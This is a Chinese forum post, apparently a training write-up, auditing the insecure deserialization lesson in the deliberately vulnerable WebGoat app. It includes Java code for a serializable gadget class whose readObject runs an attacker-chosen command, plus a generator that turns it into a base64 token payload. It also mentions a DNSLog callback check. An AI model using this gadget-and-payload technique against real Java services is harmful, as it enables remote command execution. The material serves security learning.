首页
找靠谱产品
找解决方案
找靠谱公司
找案例
找对的人
专家智库
悬赏任务
SAAS
ToB门户
了解全球最新的ToB事件
论坛
潜水/灌水快乐,沉淀知识,认识更多同行。
ToB圈子
加入IT圈,遇到更多同好之人。
微博
Follow
记录
Doing
博客
Blog
文库
业界最专业的IT文库,上传资料也可以赚钱
下载
分享
Share
排行榜
Ranklist
相册
Album
应用中心
qidao123.com ToB IT社区-企服评测·应用市场
»
论坛
›
数据库
›
Nosql
›
代码审计(Java)——WebGoat_InsecureDeserialization ...
返回列表
发新帖
代码审计(Java)——WebGoat_InsecureDeserialization
[复制链接]
发表于 2022-9-22 13:41:41
|
显示全部楼层
|
阅读模式
level-5
找到java文件,可以看到传入的token经过64解码后输入导对象输入流中,然后没有加限制直接readObject进行了反序列化操作,确实存在漏洞点~
package org.owasp.webgoat.plugin;
import java.io.*;
import java.util.Base64;
public class ExploitDeserialize {
public static void main(String[] args) throws IOException{
GadgetObject goGadgetObject = new GadgetObject();
goGadgetObject.setCmd("sleep(6)");
ByteArrayOutputStream boStream = new ByteArrayOutputStream();
ObjectOutputStream ooStream = new ObjectOutputStream(boStream);
ooStream.writeObject(goGadgetObject);
ooStream.flush();
byte[] exp = boStream.toByteArray();
String b64token = Base64.getEncoder().encodeToString(exp);
System.out.println(b64token);
}
}
复制
代码
package org.owasp.webgoat.plugin;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class GadgetObject implements Serializable {
private String cmd;
public void setCmd(String cmd) {
this.cmd = cmd;
}
private void readObject( ObjectInputStream stream ) throws Exception {
stream.defaultReadObject();
try{
Runtime r = Runtime.getRuntime();
Process p = r.exec(cmd);
}catch (Exception e) {
e.printStackTrace();
}
}
}
复制
代码
这里构造两个java文件,用来生成可以用的payload(因为反序列化这个东西,不同语言差别还是挺大的,就只能用残缺的java知识搞一个这个了……还是太菜了,java急需深造啊)
生成payload,让
服务器
等待5秒~
很奇怪的是没用行得通,很奇怪是那里搞错了,有可能是我写的java类有问题???我回头再去看一下……
这里开一个DNSLog来验证一下吧,不信这个邪~
果然,这里是可以访问到的,大概写的java也没有问题,但那是哪里出问题了嘞???真搞不懂,再研究研究,java水太深了……
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
本帖子中包含更多资源
您需要
登录
才可以下载或查看,没有账号?
立即注册
×
回复
使用道具
举报
返回列表
笑看天下无敌手
+ 我要发帖
登录后关闭弹窗
登录参与点评抽奖 加入IT实名职场社区
去登录
微信订阅号
微信服务号
微信客服(加群)
H5
小程序
快速回复
返回顶部
返回列表